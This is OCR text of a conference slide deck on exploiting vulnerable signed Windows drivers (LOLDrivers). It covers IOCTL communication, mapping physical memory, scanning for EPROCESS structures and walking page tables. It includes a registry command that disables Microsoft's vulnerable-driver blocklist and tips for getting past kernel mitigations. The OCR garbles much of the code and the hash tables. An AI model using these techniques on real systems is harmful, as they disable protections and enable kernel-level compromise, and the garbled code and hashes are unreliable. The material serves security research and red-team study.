Exploiting LOLDrivers (part1)
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About me...

Russell Sanford

* 25 Years experience in writing exploits and reverse engineering

* Published exploit author with dozens of CVE’s in network security appliances

* 12+ years experience in penetration testing and red teaming
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What are LOLDrivers ?
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Living Off The Land (LOTL)

Living off the land (LOTL) is a fileless malware or LOLbins cyberattack
techniqgue where the cybercriminal uses native, legitimate tools within
the victim’s system to sustain and advance an attack.

Living Off The Land Drivers (LOLDrivers) is a community-driven project
that provides a curated list of all Windows drivers that have been
found abused by adversaries to bypass security controls and execute
malicious code.

004



https://www.crowdstrike.com/cybersecurity-101/malware/fileless-malware/

Tt e 1 LOLDriver Exploitation
R RN TR T

W nmmn A mmmm— @ 8 emms e @K@ Physical Memory Mayhem
N

www.loldrivers.io

NQrma.sys ad938d15ecfd70083c4 742164 2a88b078c3ceal2cdbddfe6d4fblc01b9b29d%a Malicious 2023-06-05
amp.sys cbb823%a/65bf5b2c1b6abc8832d2cab8fefbdeacadfb6bd8ed4 3ef56d291abb Vulnerable driver 2023-01-09
gdrv.sys 092d04284fdeb6762e65e6acbb813920d6c69a5e99d110769¢c5c1a78e11cEbal Vulnerable driver 2023-05-06
ElbyCDIO.sys 238046cfe126alfBab96d8b62f6aabecd7bab830e2baebbib6ab2d31894c79e4 Vulnerable driver 2023-05-06
goad.sys not available Vulnerable driver 2023-01-09
Winlo64B.sys not available Vulnerable driver 2023-01-09
daxin blank.sys 49c827cf48efb122a9d6fdB87b426482b7496ccd4a2dbea3lebbf6b2b80c98530 Malicious 2023-02-28
rzpnk.sys 93d873cdf23d5edc622b74f9544cac/fe247d7a68ele2a/bf2879%fad97a3ae63 Vulnerable driver 2023-01-09
libnicm.sys ab0925398f3fab%a67eacee2bbb/b34ac395bb309df7fc7a%a%b8103efd4led’a Vulnerable driver 2023-05-06
winio64.sys e1980cb592ebd?d92c1ab5acadB8f1071b6a404097bb6fcce494f3cBac31385¢f Vulnerable driver 2023-01-09
HW.sys fd388cf1df06d419b14dedbeb24c6f4dff37bea26018775f09d56b3067f0de2c Vulnerable driver 2023-05-06
windbg.sys 139f8412a7c6fdc43dcfbbedba256ee55654eb36a40f338249d5162a1f69b988 Malicious 2023-05-20
libnicm.sys 95d50c69cdbfl0c9c9deleb4fe8b4acTlebfocaat37d128eb20e1d3510e776d3 Vulnerable driver 2023-01-09
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* List of multiple different versions of drivers known to be
vulnerable to attacks

* Information on Microsoft Blocked Driver Listing

* Hashes, Resource Links, YARA Rules, and Vulnerable API
used
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Where/How this all began...
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How | got started on this subject

* Microsoft finally got around to implementing mitigations to stop people from utilizing
Kdmapper

* Red Teaming friend asked me if | could look into writing a new replacement unsigned
driver mapper utilizing known LOLDrivers for testing EDR/XDR solutions

* | Quickly learned that there was only limited relevant and up-to-date information to be
learned from the Penetration Testing/Red Teaming communities

* Exploiting these types of vulnerabilities was largely pioneered by members of the gaming
communities
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Let’s Begin... :D
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Warning!

The exploitation tricks your going to see are not
being used in ANY public exploits | could find.
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Getting Setup
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Enabling DbgPrint Messages from the Windows Kernel
Go to path,
 “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Debug Print Filter”.

* If "Debug Print Filter" is not present then create it.
* Add value “DEFAULT” : REG_DWORD : OxFFFFFFFF and then reboot.

ComputernHEEY_LOCAL_MACHINEA\SYSTEM Y  CurrentControlSetywControlhSession Manager\Debug Print Filter

RetailDemo Mame Type Data
> SafebBoot -'-'_b}{Defaultj REG_SZF (value not set)
> SAM 24 DEFAULT REG_DWORD OxFFFFFFFf (4294967295)

ScEvents

.= SCMConfig
> ScsiPort
> SecureBoot

>

>

> SecurePipeServers

> SecurityProviders

> ServicefAgaregatedEvents

ServiceGroupOrder

> ServiceProwvider

~ . Session Manager

: > ApiSetSchemabExtensions
ApplCompatCache
> Configuration Manager

. Debug Print Filter (R

 @x0C
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Getting Setup For Visual Studio Driver Development

N
L—'_j Step 1: Install Visual Studio 2022

The WDK requires Visual Studio. For more information about system requirements
for Visual Studio, see Visual Studio 2022 System Requirements.

The following editions of Visual Studio 2022 support driver development for this

release:

» Download Visual Studio Community 2022
e Download Visual Studio Professional 2022 ¢

e Download Visual Studio Enterprise 2022 &

« 0x0D
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Getting Setup for Visual Studio Driver Development

] | |
—— Step 2: Install Windows 11, version 22H2
SDK

e Download Windows 11, version 22H2 SDK

This SDK must be installed separately until available through Visual Studio
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Getting Setup for Visual Studio Driver Development

A

—— Step 3: Install Windows 11, version 22H?2
WDK

e Download WDK for Windows 11, version 22H2 &

The WDK Visual Studio extension is included in the default WDK installation.

- Ox0F
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Setting up Windows Kernel Debugging over Serial

Setting Up the Target Computer

GO Important

Before using bcdedit to change boot information you may need to temporarily
suspend Windows security features such as BitLocker and Secure Boot on the
test PC. You can re-enable Secure Boot once you're done debugging and
vou've disabled kermnel debugging.

1. On the target computer, open a Command Prompt window as Administrator,
and enter the following commands, where rn is the number of the COMN port
used for debugging on the target computer, and rate is the baud rate used for

debugging:
bcdedit yJdebug on
bcdedit /ydbgsettings serial debugport:n baudrate:rate

Note The baud rate must be the same on the host computer and target

computer. The recommended rate is 115200.

2. Reboot the target computer.

0)xallo)
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Setting Up VMWare — Adding a Serial Port for kernel debugging

BNt BN EEE B 4§ METEES AT AL N ErEE BN

firtual Machine Settings u
Hardwvware oQptions
Dewvice Summary Lot ety §
[E==] Memory - Smacifs tho smecimd of mosmanee =llacated to this virtual machine. The memory
|:| Process “dd Hardware Wizard >
L %Hard . Hardware Type 4096 = MB
(= CO/IDEE what type of hardware do you want to install?
0 Metwor]
=] use cq
| cl? Sound { Hardwrare types: Explanation
[ lpisplay L\ Hard Disk Add a serial port.
B Maximum recommended memory

("=} CD/DVD Drive
Flopp}r Drive

S metwork Adapter
|? uUse Controller
] Sound Card

[E Parallel Port

&) Sriol Port |

f—n Printer

<] Generic SCSI Device

EoE BN — 8 B INNAEap . g EE=3m

—eE N AP Eaemm

Cancel

(Memory swapping may
occur beyond this size.)

6.0 GB

Recommended memory

2 GB

Guest 0OS recommended minimum

1 GB

(0)xalN!
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Configuring WinDBG

il WinDha-10 N 22621 7656 ARNMDGA

i Kernel Debugging ? >

NET uUSsSB 1394 Local COM

Kernel debugging over a COM port or virtual serial device

Baud Rate:
VMWare Pi
115200 e

Serial Port -
Port:

(Named Reconnect

. \\.\pipe\com_5| ]
Pipe) > Resets:

O

| OK Cancel Help

- Onil2
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* Configuring VMware

Hardware Options

Device Summary Device status
E=IMemory 4GB Connected
1FProcessors 2 Connect at power on
[\Hard Disk (NVMe) 60 GB
CD/DVD (SATA) Using file D:\ISO\Windows10_... Connection
"I Network Adapter NAT () Use physical serial port:
USB Controller Present 3
<) Sound Card Auto detect ) Ao Geecs
Serial Port Using named pipe \\.\pipe\com... (O Use output file:
[_IDisplay Auto detect B owee...
© Use named pipe:
\\.\pipe\com_5
This end is the server. v
The other end is a virtual machine. v
I/O mode
Yield CPU on poll
Allow the guest operating system to use this serial port in polled mode (as
opposed to interrupt mode).

- OXILS
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Setting Up WinDBG for Remote Serial Debugging

Using WinDbg

On the host computer, open WinDbg. On the File menu, choose Kernel Debug. In
the Kernel Debugging dialog box, open the COM tab. In the Baud rate box, enter
the rate you have chosen for debugging. In the Port box, enter COMn where n is
the COM port number you have chosen for debugging on the host computer. Select
OK.

You can also start a session with WinDbg by entering the following command in a
Command Prompt window; n is the number of the COM port used for debugging

on the host computer, and rate is the baud rate used for debugging:

windbg -k com:port=COM~n,baud=rate

Onedlal
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How Communication with System Drivers works
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* Communicating with SYSTEM Drivers — IOCTL calls

KERMNEL LAND

SYSTEM DRIVER |

USER LAND
IOCTL calls

| USERLAND PROGRAIM |

OxILE
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Userland (Ring3) <-> Kernel Land (Ring 0) communication - IOCTL
beviceloControl Targetr Driver Routine
é ?cmp IOCTUL
IRP/IOCTL IRP_HJU_DEV\ CE_CONTROL
User Mode Keranel Mode

OndL7/
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Userland (Ring3) <-> Kernel Land (Ring 0) communication — IOCTL

1) A handleis opened to

A device driver’s Symbolic Usar Modes Kernel Mode
Name

Input

buffer
2) IOCTL Request is made

With Input and Output
Buffers using handle

3) Kernel Driver returns
Response in Output buffer

4) When all communication has ended

Handle to driver is closed

Ol
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Userland (Ring3) <-> Kernel Land (Ring 0) communication — IOCTL

Example: User Mode Kernel Mode

HANDLE Handle = CreateFile("\\\\.\\IOCTL", ..., 0, NULL); Input

DWORD version, junk; butfer

if (DeviceloControl(Handle, IOCTL_GET_VERSION_BUFFERED, _
NULL, O, &version, sizeof(version), &junk, NULL))

printf("IOCTL.SYS version %d.%2d\n", HIWORD(version),
LOWORD(version));
else
printf("Error %d in IOCTL_GET_VERSION_BUFFERED call\n",
GetlLastError());

- OxIS
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MyApplication.exe
MyDriver.sys

device = IoCreateDevice ()

IoCreateSymbolicLink (device,

symLinkName)

handle =
CreateFile (“\\.\MySymlink”)

DeviceloControl (handle,

IRP MJ DEVICE CONTROL =

IOCTL (0x800), buffers) :
¥ MyCtlFunction
IRP MyCtlFunction () {
s if (IOCTL = 0x800) {
|OCTL(0x800) SomeFunction ()
}
L J }
Symbolic .| Device S i o 4
Link Obiect omeruncrtlion
1 J . //I do something!

}
mﬁhr4-—-——-"_-'-__-_-___-—___-____T_____—__-

LA
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Communicating with SYSTEM Drivers — IOCTL calls

CPUCHARDmalloc( _size: 512); 1) A HANDLE is

o;
- - . opened to the
HANDLE hdevice = CreateFile(L"\A\\\N _AN\\PROCEXP152",

GENERIC_READ | GENERIC_WRITE, 1
FILE_SHARE_READ, Drlver
o,
OPEN_EXISTING,
o,
)

PUCHAR bufferxr
DWORD retSize

DeviceIoControl(
hdevice,
dwIoControlCode: OXx80102040,
1lpInBuffer: bufferxr,
nInBufferSize: sizeof(bufferxr),
1pOutBuffer: bufferxr,
NnOutBufferSize: sizeo-F(bu-F-Fer) 2
lpBytesReturned: &retSize,
LpOverlapped: o) >

CloseHandle( hobject: hdewvice) ;

- OB
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Communicating with SYSTEM Drivers — IOCTL calls

CPUCHARDmalloc( _size: 512); 1) A HANDLE iS

PUCHAR bufferxr

DWORD retSize :;
- . L opened to
HANDLE hdevice = CreateFile(L"\A\\\N _AN\\PROCEXP152",
GENERIC_READ | GENERIC_WRITE, H
FILE_SHARE_READ, the Drlver

o,
OPEN_EXISTING,

o5 2) A Request is

DeviceIoControl( made to the
hdevice,
dwIoControlCode: OXx80102040, Driver uSing
1lpInBuffer: bufferxr,
nInBufferSize: sizeof(bufferxr),
1pOutBuffer: bufferxr, an IOCTL caII
NnOutBufferSize: sizeo-FCbu-F-Fer) 2
lpBytesReturned: &retSize,
LpOverlapped: o) >

CloseHandle( hobject: hdewvice) ;

- OXILC
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Communicating with SYSTEM Drivers — IOCTL calls

PUCHAR bufferxr
DWORD retSize

CPUCHARDmalloc( _size: 512); 1) A HANDLE iS

o;

- . o opened to
HANDLE hdevice = CreateFile(L"\A\A\\N.A\\NPROCEXP152",
GENERIC_READ | GENERIC_WRITE, H
FILE_SHARE_READ, the Drlver
(O]

OPEN_EXISTING,

o3 2) A Request is

DeviceIoControl( made to the
hdevice,
dwIoControlCode: OXx80102040, 1 1
1lpInBuffer: bufferxr, Drlver USIng
nInBufferSize: sizeof(bufferxr),
1LpOutBuffer: buffexr, an IOCTL caII

nOutBufferSize: sizeo-FCbu-F-Fer) 2
1lpBytesReturned: &retSize,

lpoverlapped: ©); 3) When all communications are done

| closeHandiechossece: hdeviced; | The HANDLE to the Driver is closed.
< OXID
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Communicating with SYSTEM Drivers — IOCTL calls

CPUCHARDmalloc( _size: 512);
o;

PUCHAR bufferxr
DWORD retSize

HANDLE hdevice = CreateFile(L"\A\\\N _AN\\PROCEXP152",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ,

o,
OPEN_EXISTING,
o,

oD Request from USERLAND to KERNELAND Driver

DeviceIoControl(
hdevice,
dwIoControlCode: OXx80102040,
1lpInBuffer: bufferxr, o
B =TS eEChBiEEaED., INPUT Buffer / Buffer Size

nInBufferSize:

1pOutBuffer: bufferxr,
NnOutBufferSize: sizeo-F(bu-F-Fer) 2
lpBytesReturned: &retSize,
LpOverlapped: o) >

CloseHandle( hobject: hdewvice) ;

N E
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Communicating with SYSTEM Drivers — IOCTL calls

CPUCHARDmalloc( _size: 512);
o;

PUCHAR bufferxr
DWORD retSize

HANDLE hdevice = CreateFile(L"\A\\\N _AN\\PROCEXP152",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ,

o,
OPEN_EXISTING,
o,

o Response from KERNELAND Driver to USERLAND

DeviceIToControl(

hdevice,

dwIoControlCode: OXx80102040,
1lpInBuffer: bufferxr,
nInBufferSize: sizeof(bufferxr),
1LpOutBufferxr: buffexr,
NnOutBufferSize: sizeo-F(bu-F-Fer) 2 H
1lpBvtesReturned: SretSize - OUTPUT BUffer / BUffer Slze
LpOverlapped: o) >

CloseHandle( hobject: hdewvice) ;

O
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Exploited Windows API Functions Providing
Access to Physical Memory
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Common Vulnerable API

Access to Physical Memory PCI Device Access

MmMaplOSpace()

/wMapViewOfSection() HalSetBusDataByOffset()

Physical Memory Address Resolving Memory Copying Operations
memcpy()
MSR Register Access memmove()

__readmsr()/__writemsr()

HalGetBusDataByOffset()

<- in/out port communication ->

And Much More!

2!
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Common Vulnerable API

This presentation is my analysis of what could be done using the commonly
found API allowing for: Access to Physical Memory

* MmMaplOSpace()
 ZwMapViewOfSection()

* Note: There are several sub-variants of these functions that do/do-not allow
access to cached and/or locked operations
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LOLDriver Exploitation

MmMaploSpace()

Syntax

C++

PVOID MmMapIoSpace(
[in] PHYSICAL ADDRESS PhysicalAddress,
[in] SIZE T NumberOfBytes,
[in] MEMORY CACHING TYPE CacheType

s

Physical Memory Mayhem

™ Copy

LS
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MmMaploSpace()

PUINT6U addr_returned = MmMapIoSpace(PhysicalAddress,
ViewSize,
MmNonCached);

Note: Microsoft has blocked MmMaploSpace() from being able to access page
tables directly. This can be circumvented by using MmMaploSpace() in a provider-
>victim model in which shellcode is introduced into another driver fully capable of
accessing these blocked regions of code — staging 101.

02




Tt e 1 LOLDriver Exploitation
R RN TR T

N E w88 o smm @XB2  Physical Memory I\/Iayhem

ZwMapViewOfSection()
Syntax

T ™ Copy

NTSYSAPI NTSTATUS ZwMapViewOfSection(

[in] HANDLE SectionHandle,
[in] HANDLE ProcessHandle,
[in, out] PVOID *BaseAddress,
[in] ULONG_PTR ZeroBits,
[in] SIZE T CommitsSize,
[in, out, optional] PLARGE INTEGER SectionOffset,
[in, out] PSIZE T ViewSize,
[in] SECTION INHERIT InheritDisposition,
[in] ULONG AllocationType,
[in] ULONG Win32Protect

)3

25
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Status = ZwOpenSection( sectionHandle: &PhysMemHandle,
DesiredAccess: SECTION_ALL_ACCESS .

ZwMapViewOfSection()

if (INT_SUCCESS(Status))

{
. i DbgPrint("Couldn't open \\Device\\PhysicalMemory\n”g;
Creates a “View” of a section L SRS
. : H 1% e %
Vlew Can be mapped to ANY IOcatlon In QuadPart = g; // set offset to current page to scan

memory

// call ZwMapViewOfSection() to map memory to mapped_buffer
Status = ZwMapViewOfSection( sectionHandle: PhysMemHandle,
ProcessHandle: (HANDLE)—I i

Can be READ Only’ READIWRITE’ or WRITE E:z;\cii::sz:'&mapped_buF-Fer, // where to

I CommitSize: ViewSize, // PAGE_SIZE
on \/ SectionOffset: &0ffset, // where from
&ViewSize,
InheritDisposition: ViewUnmap,
AllocationType: O,

Write operations will update address winzzprotect: PAGE_READONLY);
pointed TO when WRITE is enabled // check for success

if (NT_SUCCESS(Status)) {

026
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Some Drivers offer Phsical Addressing to Virtual Addressing or
vice-versa

IOCTL calls are sometime offered to implement:

e VA->PA ( calls MmGetPhysicalAddress() )

* VA->Pfn or VA-Pte (Page Frame Number / Page Table Entry)

OR27
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Vulnerable Libraries Facilitating Exploitation
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Known Vulnerable Libraries with Exploitation Primitives

e WinlO _ WINIO was found to be the more popularly re-used

library and so the exploitation used/demonstrated in
* MAPMEM this presentation will be focused on abusing it.
* PHYMEM

e RWEverything
* WINRINGO

 Ox29
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Culprit Drivers — ‘Providers’

Many of the vulnerable LOLDrivers fall into the tools that provide the following functionalities:

Bios flashing
Gaming Tuning
RGB Keyboard utilities
Core Temperature Controllers
Diagnostic Tools
Forensic Tools
GPU utilities
Performance Tools
Mimikatz
Rootkit Detection Utilities
Process Exploring Tools

 OR2/A
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Unsigned Driver Mappers Exploiting these APIs
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[EE35HE Physical Memory Mayhem

Public Tools for unsigned driver loading

KDU (hfirefOx)

Voidmap (SamuelTulach)
Kdmapper (TheCruz/z175)
TDL (hfirefOx)

Nasa mapper (xeroxz)
Efi-mapper (SamuelTulach)

GDRV-loader (alxbrn)
DSEFix (hfirefOx)
physmeme

many more....
http://www.unknowncheats.me

 Ox2C
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Resources:

LOLDrivers.com
Massive collection of
Drivers utilizing
Exploitable API

Unknown Cheats
By far best source
Of information
On exploitation
Of LOLDrivers

Gaming Forums! ‘

Q % [Question] If Function hooks detected, just capture thread and unhook? Today 04:45 PM 3 359
insanefury by zachg898 =
Q @ = [Help] How to remove hwid ban from ricochet??? Today 02:59 PM 10 755
SecureR21 by gazxsw159753201 -
Q J ** [Source] DWM Overlay Today 01:13 PM 11 2 063
= | CHIWAWA by Grab == !
** [Help] ThreadHijacking not work. [ 123) Today 12:17 PM
i | & —reaa 50 | 2,353
hernos by WomptoenStreet
Q = [Help] [PCILEECH DMA] How to modify blocks 0x40-0x90? (31 2) Today 10:14 AM 29 1747
Slenju by Slenju = !
%2 [Question] Unturned battleye ban Today 09:12 AM
kJ| 6 | 1 237
joebamalolxd by nayrde
Q @ ¢ [Discuss] cr3 bypass Today 07:56 AM
o ; 3 789
kejsik by fisherprice
Q # [Article] The Unseen Guardian: EasyAntiCheat’s EProcess Emulation Today 07:43 AM 5 544
0AVX by MrCrashu =
Q 2 [Discuss] Arduino Today 07:01 AM 7 1.001
1337sHyNe by serenity091 - !
Q ¢ [Help] EAC cr3 decryption tips Today 01:15 AM ) 104
roadkillsanta by roadkillsanta =

https://www.unknowncheats.

me/
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Blacklisted Drivers
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Dealing with revoked cert drivers...

OSRLOADER b4

We can disable the Driver Blocklist and
Run blocked drivers © 9 A certificate was explicitly revoked by its issuer.

0K

I'rr=s = r=m=rET T X e

[HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\CI\Confiq]
"VulnerableDriverBlocklistEnable"=dword:00000000

or

req add HKLM\SYSTEM\CurrentControlSet\CI\Config /v "VulnerableDriverBlocklistEnable" /t REG DWORD /d|G

i

OR2[F
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Physical Memory vs Virtual Memory
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Physical Memory vs Virtual Memory

Virtual Addresses Physical Addresses

Virtual page

Address translation

Physical Memory

—

xxﬂ poges
B - Pages
., Hard Disk 8
Virtual Memory \""*—-‘

e I

- O3l
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Let’s start breaking down exploitation tactics...

e ™
That's cool. Can we start

talking about writing
exploits now?

- OR32
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The Kernel Pool
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Kernel Pool Allocation Functions:

ExAllocatePool()
ExAllocatePool?2()
ExAllocatePool3()
ExAllocatePoolWithTag()
ExAllocatePoolWithQuotaTag()
ExAllocatePoolWithTagPriority()
+ more...

Kernel Pool Allocations are made with an associated ‘tag’ that is either provided
or generated depending on which APl is utilized

- O3S
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Kernel Pool Allocation with ‘tags’:

Example Allocation with ‘abcd’ tag header:

C++ [™ Copy

[/ 0ld code ‘

PVOID Allocation = ExAllocatePoolWithTag(PagedPool, 168, "abcd’);
RtlZeroMemory(Allocation, 100);

// New code ‘

PVOID Allocation = ExAllocatePool2(POOL FLAG PAGED, 168, ‘abcd');

- Ox36
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Example Kernel Pool Allocation for Windows TOKEN with ‘tag’:

00000970 h5 04 €9 03 54 €F 6B €5 00 00 OO0 00 00 00 00 00 Li.iEEl.......
00000980 10 00 00 2C 06 00 00 78 00 00 OO0 OO0 00 00 00  vueepeweMecoenn-s
00000990 4m 0D €6 15 02 Fg FF FF 00 00 00 OO0 00 00 00 00 @.f..@80F........
QO000SA0 01 00 00 OO0 00 00 OO0 00 0Ol OO0 00 OO0 00 00 00 00  veeeeoeneeeeenns
00000SBO 00 OO0 00 OO0 OO0 00 OO0 OO0 30 00 O8 02 00 00 00 00  +ueweeo.. O eennns
000009C0 40 OD 66 15 02 F8 FF FF 2D 28 26 5D 0% 83 FF FF R.f..eyy-(&].fi¥y
Q000009D0 55 73 65 72 33 32 20 00 E4 05 04 00 00 OO0 00 00 |[UEersd .&.......

QO0O00SED 88 70 04 00 00 00 OO0 OO0 9B O 04 00 00 O0 00 00 “DPuwe... P e e
0O000SFD 00 00 00 00 00 00 OO0 OO0 FF FF FF FF FF FF FF TF vvvvvnn. TV .
QOO000RO0D 30 6D D3 26 OB CB FF FF F5 06 04 00 00 00 00 00 Ombs.E9yd.......
00000R10 |[ENGDNSENEENNEROIRGENEEN 0 00 S0 00 00 00 00 00 4™ eeeen.. €.....
Q0000RZ0 |00 00 20 00 00 00 00 OO0 00 00 OO0 OO0 00 00 00 00 .+ .€eveneuneennns

QOQO00A30 OO0 Q0 00 OO0 00 Q0 OO0 00 Q0 OO0 00 00 00 00 00 00 (i ieeeenemnnnnns
QOQ00A40 OO0 QO OO0 OO0 00 00D 01l OO0 Ol QOO0 00 OO0 OD 00 00 00 (.. eeeenennnnnns
QOQO00ASD OO0 Q0 00 00 9C 01 OO0 QOO0 Q0 10 00 00 00 00 00 00 .. ufBeeueeennnns

Note: There are tens of thousands of different Pool Tag’s for various Windows
Objects — Everything's got its own memory allocation tag type!

07/




et T T e T LOLDriver Exploitation

AN I IEECEAL B N DN N D
ik i— B—EASSaE— N N N—En N A

W emm w8 6 omss s @XAZ Physical Memory Mayhem
N

L gy

The Kernel Pool Exploitation
‘Proc’ Pool Scanning Technique
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EPROCESS and the ‘Proc’ Pool Header

|||||‘).I PoolTag: “Proc” B
IIIH%HIII
Type and Size

_EPROCESS

ImageFileName:
“System” or “Idle”

039
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EPROCESS and the ‘Proc’ Pool Header — Preceeds EPROCESS structures

1]
‘ POO'Tag : "prOCl' _

‘ ' DISPATC ! _HEADER

e~

\ | _EPROCESS ,
“System” or “Idle”

 ORSA
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Kernel Memory Pools and the ‘Proc’ Pool Header...

* Pool Headers are allocated on 0x10 offsets
* The tagis located 4 bytes in

EPROCESS Structure Scanning Pseudocode:

For (i=0; | < 0x2000000; | += 0x10) {
if ( memcmp( (buffer+i+4), “Proc”) ==0) {
// found proc pool header — print info

}

WS
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Scanning for ‘Proc’ pool headers (EPROCESS structures)

<77
= £
245
S50
S
5=
53
S4a
5s
56
57

=
-

59
SO
&1
&2
&3
&9
&5
e s
&7
&S
e

el e el e e e T O S S T S S S VTl Ol Sl P

—2=5S5S6E631309
25631429049
—=—56632577
=568663T757
=2Ss635c49 1
26090530
2686090995
260491079
2686171577
=61 720549
26172125
263571 495S
26397610
=2=E&E3IS9 TS 1L
266595950549
—=E66S99SS 1S
266959603
26&6TOT31S
=& 70T T7sE
=2=6E6TOTEeES2
2671252
=2=E€T7T16e74945
==& 71ls=16

Founcd EFPFROCESS
founcd Prxoc Tag
Found EPRCCESS

FTouand
Founcl

fouancad
Foand

fouundad

Proc Tag
EPROCESS

Proc Ttag
EPROCESS

Pxoc Ttag

Fournad EPRCOCCESS
Found Proc Tag
Found EPROCESS

founc
Fouanda

Fowxandadd
Fournc

Proc Tacg
EPROCESS

Pxroc Tac
EPROCESS

l'@ '.@ |.® ‘ﬂ@ ‘-® l.@

- ®

addxes=: Ox2Z2390S0%S

nNname = wWininilic._._exe
Phhwys=: OxascAaAooo virxrcTs:s:
address=s: Ox2390dA0oSs=

o T_% . T 3 CHYyXsSsS_ eXe
PRy s-: Oxaa 72595000 ATt =
addrxress : Ox2390950%9 =

name: wainlogon.exe
pPhys = OxaTTaanooo wvrixT-=
address: Ox2Z2390al>Ss

name = Services. . exe
=2 o 5.0 04— Oxa 7Eg90090 waAiAxT s
address=s = Ox2Z23940909S

name
Phys-=: Oxa TAazooo wvirxcT:=

addxes=: Ox2340215e

nNname T .=
Phhvyes:
address

o T_% . T 3 tontdrvhost - L
Ry s=s-=: Oxa"T7TdAseO000 o, e For m
adcdress Ox2Z2390625=

name = sSvchosSt _ exe

O3(C
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Tt e 1 Exploiting Windows Signed
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- I—ENSEAE— N H H—En nm —u - - [:) . 1F F)’ . [E
i T R b rivers for PrivEsc
N
63 48 47 39 38 30 29 21 20 12 11 0

PML4 Offset | PDPT Offset] PD Offset Page Offset
9 bits 9 bits 9 bits 12 bits

Physical
PML4E Address
U uxﬂ
Fage Map Level 4 Page Directory Page Directory Fage Table Page
Table Pointer Table Table

WE[E




et T T e T LOLDriver Exploitation

AN I IEECEAL B N DN N D
ik i— B—EASSaE— N N N—En N A

i nmmmn i s 8 8 omes smew @XA3 Physical Memory Mayhem
N

L gy

63 g4 3938 N2 AN 121 0

4 Level Page Translation (4k page) s
PML4E_Offset = (ADDR >>39) & Ox1FF| [t | | e | e
PDPE_Offset = ( ADDR >>30) & Ox1FF P

PDE_Offset = (ADDR >>21) & Ox1FF o

T OFFset (ADDR >>12) & Ox1FF | T |

PysAddr_ Offset = Ox1FFFFFFF

Page Map Level | Fage Directory Page Directory Fage Table Page
Table Pointer Table Table

O3




Tt e 1 LOLDriver Exploitation
R RN TR T

- i— RS N H H—un N —A
Fhimi il i & Emihet @X@3 Physical Memory Mayhem
LTV I W I VA 1
. 2HL4 Offset [POPT Offset| PO Cffset Page Offset
4 Level Page Translation (4k page) [ i
512 512 512 512 031000
PE
2028
| e s
UINT64 PMLAE = CR3 + (((address_to_lookup >> 39) & 0x1ff) * sizeof(DWORDG64)); - 0 : n ) It

Fage Map level 4 Bag qell rectory Page Diractory Page Table Bage
fble  holnter? ale fable

UINT64 PDPE = (read_UINT64 from_4k_page phys _memory((PUINT64)PMLAE) & OxOOFFFFFFFFFFFOO00) + (((address_to_lookup >> 30) & 0x1ff) *
sizeof(DWORDG64));

UINT64 PDT = (read_UINT64 from_4k page_ phys_memory((PUINT64)PDPE) & 0xO0FFFFFFFFFFFO00) + (((address_to_lookup >> 21) & Ox1ff) *
sizeof(DWORDG64));

UINT64 PT = (read_UINT64_from_4k_page_phys_memory((PUINT64)PDT) & OxOOFFFFFFFFFFFO00) + (((address_to_lookup >> 12) & Ox1ff) *
sizeof(DWORDG64));

final_addr_phys_ptr = (PT & OXOOOFFFFFFFFO0000) + (address_to_lookup & OxFFFFF);

O)xA410)




i BN DN I -
0 i’i—i— i Bn—Nu
AN I IEECEAL B N
ik i— B—EASSaE— N
BN O NN NN 'L-Il-m-m

(R | Y | O Iy | Il IL Il |L

ERRNEREE: BEERE: BN
—H—'H—H|
o ]
N N—EWn
m n
I

L L | —

i I
n n'm—
HRNN - HERENAR-
- —Al
I |

LOLDriver Exploitation
@X@3 Physical Memory I\/Iayhem

53 &2 52 51 3=
I _ Pagae-Directry—-Pointers Bass Sddress
= Sorailsbls [ Thiils s s Sechile-ctursl et S goesan areisrmeaisiioan s mp=oart Feewrear bilbs. )
=1 1= 11 =1 = = 1 [u]
- - L (=4
P age-Directory-FointEr Base Saoddress ST G e = | W
-] m = | W
Figure S-1&8. A-HKbhyte PRMLAE—L ong Mode
53 &2 52 51 3=
P - P age-Directory Base Saaddress
= Horailabie [ Thiis s o Serchile-ciural Bt S giean mpdermneniaBoan may saape=oant Feeerer bhibs. )
=1 1= 11 = =] £ =] — =+ = = 1 Lo
| | - - L (=
FPaog=e Dhirectorny Base Address o= = ] = L= = | WY | =
ra ] | -] m = | W
Figure S-19. d-Kbhyte PDFE—Long Mode
=3 82 52 51 ==
I _ FPage-Table Base Address
= Hosailsbls [ Thils is am Snchite-ctursl Bt . S goean impiesmenistioam sy supe=oart Ffoesrsr bhits. I
=1 1= 11 = B v (=] = =+ = = 1 L]
| | - - L =
FPage-Tabhl=e Basse Address T = 0 = e = | W |
ra ] -] m S| W
Figure S-20. d-Kibhyte PDE—omnmg Mode
53 &2 52 51 = Jem
b _ Fhy=icalk- Page Base Address
= Aorailsbis [ Thils is s sechilescursl Bt S goean mpiessrmenisom may supee=ort Foesrer bhilbs. )
=1 11 =) =] T [=] =] =1 = = 1 L]
- - L (=4
Phy=sicak-Page Base SAddress ST = e = e = | W
m -] m = | W

Figurse S-21.

A -HKbhyte PTE—Long Mode

0)xAxl!
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Page Directory Entry (4 MB) Page Table Entry
31 2221120 .. 13112111 .98 7 6]5]4]3 210 (. 12/11..9/8/7/6/5/4[3/2]1]0]
F
Bits 31-22 of 5 Bits 39-32 of P P FiU E . F PIPIUIR
IEIEddI'EESﬂ g Igddressﬂ ? AVL Gt?mn A g *-';f é o P Bits 31-12 of address AVL |G # DA g h;f é 'u{.f P
Wy

Page Directory Entry P:Present D: Dirty
R'W: Read/\\rite G: Global
WS: User/Suparvizor  AVL: Available
31 121 Brie5ia 3210 PWT: Write-Through  PAT: Page Attribute
PCD: Cache Disable Table
PlA| P|P|UIR .
Bits 31-12 of address AVL |S|v|alcw|i]/|P A: Accessed
L |D|T|S(W

P: Present D: Dirty

R'W: Read \Writa PS: Page Size
U'S: User/Suparvisor G: Global

PWT: Write-Through  AVL: Available
PCD: Cache Disable PAT: Page Alfribute
A: Accessed Table

042
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HCVI / VBA Protections — Extended Page Tables
LA GPA PA

EPT still enforces
non-writable perm.

Attacker can make it
writable, but..

RWX R-X

Data Data

Data P N
RW- RW-

 Ox4S
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Finding Cr3’s value to walk tables

- Onddl
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Finding Cr3 through ‘Proc’ (EPROCESS) pool scanning

 O0x45
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Finding Cr3 through EPROCESS scanning...

* We can scan for ‘Proc’ pool headers which identify
EPROCESS structures
* The First Part of an EPROCESS structure is a KPROCESS structure

* The KPROCESS Structure contains DirectoryTableBase (CR3 register
value for process)

1. 2: kd> dt nt! KPROCESS [@@(@%proc) DirectoryTableBase
